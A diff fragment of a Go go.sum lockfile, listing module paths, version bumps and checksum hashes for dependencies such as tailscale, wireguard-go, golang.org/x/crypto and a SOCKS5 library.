github.com/coreos/go-systemd/v22 v22.4.0 h1:y9YHcjnjynCd/DVbg5j9L/33jQM3MxJlbj/zWskzfGU=
|
||||
github.com/coreos/go-systemd/v22 v22.4.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
|
||||
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
|
||||
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dblohm7/wingoes v0.0.0-20230426155039-111c8c3b57c8 h1:vtIE3GO4hKplR58aTRx3yLPqAbfWyoyYrE8PXUv0Prw=
|
||||
github.com/dblohm7/wingoes v0.0.0-20230821191801-fc76608aecf0 h1:/dgKwHVTI0J+A0zd/BHOF2CTn1deN0735cJrb+w2hbE=
|
||||
github.com/dblohm7/wingoes v0.0.0-20230821191801-fc76608aecf0/go.mod h1:6NCrWM5jRefaG7iN0iMShPalLsljHWBh9v1zxM2f8Xs=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
|
||||
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
|
||||
@@ -112,6 +122,7 @@ github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL
|
||||
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
|
||||
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
|
||||
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
|
||||
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
|
||||
github.com/fxamacker/cbor/v2 v2.4.0 h1:ri0ArlOR+5XunOP8CRUowT0pSJOwhW098ZCUyskZD88=
|
||||
github.com/fxamacker/cbor/v2 v2.4.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
@@ -149,8 +160,9 @@ github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6Wezm
|
||||
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
|
||||
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
|
||||
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
|
||||
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
|
||||
@@ -177,10 +189,13 @@ github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeN
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c h1:06RMfw+TMMHtRuUOroMeatRCCgSMWXCJQeABvHU69YQ=
|
||||
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c/go.mod h1:BVIYo3cdnT4qSylnYqcd5YtmXhr51cJPGtnLBe/uLBU=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
|
||||
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
|
||||
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
|
||||
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
|
||||
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
|
||||
@@ -228,6 +243,7 @@ github.com/jsimonetti/rtnetlink v1.3.2 h1:dcn0uWkfxycEEyNy0IGfx3GrhQ38LH7odjxAgh
|
||||
github.com/jsimonetti/rtnetlink v1.3.2/go.mod h1:BBu4jZCpTjP6Gk0/wfrO8qcqymnN3g0hoFqObRmUo6U=
|
||||
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
|
||||
@@ -235,18 +251,21 @@ github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5
|
||||
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
|
||||
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
|
||||
github.com/klauspost/compress v1.10.3/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||
github.com/klauspost/compress v1.16.6 h1:91SKEy4K37vkp255cJ8QesJhjyRO0hn9i9G0GoUwLsk=
|
||||
github.com/klauspost/compress v1.16.6/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/klauspost/compress v1.17.0 h1:Rnbp4K9EjcDuVuHtd0dgA4qNuv9yKDYKK1ulpJwgrqM=
|
||||
github.com/klauspost/compress v1.17.0/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE=
|
||||
github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ=
|
||||
github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk=
|
||||
github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8=
|
||||
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
|
||||
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
|
||||
github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
|
||||
@@ -295,8 +314,10 @@ github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc
|
||||
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/RrM=
|
||||
github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
@@ -316,6 +337,7 @@ github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18=
|
||||
github.com/pkg/sftp v1.13.5 h1:a3RLUqkyjYRtBTZJZ1VRrKbN3zhuPLlUc3sphVz81go=
|
||||
github.com/pkg/sftp v1.13.5/go.mod h1:wHDZ0IZX6JcBYRK1TH9bcVq8G7TLpVHYIGJRFnmPfxg=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
|
||||
@@ -332,6 +354,7 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ
|
||||
github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis=
|
||||
github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ=
|
||||
github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog=
|
||||
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
|
||||
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
|
||||
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
|
||||
@@ -344,7 +367,6 @@ github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
@@ -353,28 +375,28 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.4/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d h1:K3j02b5j2Iw1xoggN9B2DIEkhWGheqFOeDkdJdBrJI8=
|
||||
github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d/go.mod h1:2P+hpOwd53e7JMX/L4f3VXkv1G+33ES6IWZSrkIeWNs=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2 h1:pBpqbsyX9H8c26oPYC2H+232HOdp1gDnCztoKmKWKDA=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2/go.mod h1:V2G8jyemEGZWKQ+3xNn4+bOx+FuoXU9Zc5GUsZMthBg=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e h1:JyeJF/HuSwvxWtsR1c0oKX1lzaSH5Wh4aX+MgiStaGQ=
|
||||
github.com/tailscale/golang-x-crypto v0.0.0-20230713185742-f0b76a10a08e/go.mod h1:DjoeCULdP6vTJ/xY+nzzR9LaUHprkbZEpNidX0aqEEk=
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 h1:4chzWmimtJPxRs2O36yuGRW3f9SYV+bMTTvMBI0EKio=
|
||||
github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05/go.mod h1:PdCqy9JzfWMJf1H5UJW2ip33/d4YkoKN0r67yKH1mG8=
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85 h1:zrsUcqrG2uQSPhaUPjUQwozcRdDdSxxqhNgNZ3drZFk=
|
||||
github.com/tailscale/netlink v1.1.1-0.20211101221916-cabfb018fe85/go.mod h1:NzVQi3Mleb+qzq8VmcWpSkcSYxXIg0DkI6XDzpVkhJ0=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd h1:+fBevMGmDRNi0oWD4SJXmPKLWvIBYX1NroMjo9czjcY=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20230824215414-93bd5cbf7fd8 h1:V9kSpiTzFp7OTgJinu/kSJlsI6EfRs8wJgQ+Q+5a8v4=
|
||||
github.com/tailscale/wireguard-go v0.0.0-20230824215414-93bd5cbf7fd8/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw=
|
||||
github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0=
|
||||
github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8=
|
||||
github.com/tetratelabs/wazero v1.2.1 h1:J4X2hrGzJvt+wqltuvcSjHQ7ujQxA9gb6PeMs4qlUWs=
|
||||
github.com/tetratelabs/wazero v1.2.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM=
|
||||
github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI=
|
||||
github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg=
|
||||
github.com/u-root/u-root v0.11.0 h1:6gCZLOeRyevw7gbTwMj3fKxnr9+yHFlgF3N7udUVNO8=
|
||||
github.com/u-root/u-root v0.11.0/go.mod h1:DBkDtiZyONk9hzVEdB/PWI9B4TxDkElWlVTHseglrZY=
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 h1:YcojQL98T/OO+rybuzn2+5KrD5dBwXIvYBvQ2cD3Avg=
|
||||
github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264=
|
||||
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
@@ -401,8 +423,8 @@ go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9i
|
||||
go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI=
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13 h1:CbZeCBZ0aZj8EfVgnqQcYZgf0lpZ3H9rmp5nkDTAst8=
|
||||
go4.org/mem v0.0.0-20220726221520-4f986261bf13/go.mod h1:reUoABIJ9ikfM5sgtSF3Wushcza7+WeD01VB9Lirh3g=
|
||||
go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35 h1:nJAwRlGWZZDOD+6wni9KVUNHMpHko/OnRwsrCYeAzPo=
|
||||
go4.org/netipx v0.0.0-20230303233057-f1b76eb4bb35/go.mod h1:TQvodOM+hJTioNQJilmLXu08JNb8i+ccq418+KWu1/Y=
|
||||
go4.org/netipx v0.0.0-20230728180743-ad4cb58a6516 h1:X66ZEoMN2SuaoI/dfZVYobB6E5zjZyyHUMWlCA7MgGE=
|
||||
go4.org/netipx v0.0.0-20230728180743-ad4cb58a6516/go.mod h1:TQvodOM+hJTioNQJilmLXu08JNb8i+ccq418+KWu1/Y=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
@@ -411,12 +433,13 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM=
|
||||
golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I=
|
||||
golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc=
|
||||
golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc=
|
||||
golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w=
|
||||
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090 h1:Di6/M8l0O2lCLc6VVRWhgCiApHV8MnQurBnFSHsQtNY=
|
||||
golang.org/x/exp v0.0.0-20230725093048-515e97ebf090/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc=
|
||||
golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53 h1:w/MOPdQ1IoYoDou3L55ZbTx2Nhn7JAhX1BBZor8qChU=
|
||||
golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
@@ -424,8 +447,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk=
|
||||
golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.11.0 h1:bUO06HqtnRcc/7l71XBe4WcqTZ+3AH1J59zWDDwLKgU=
|
||||
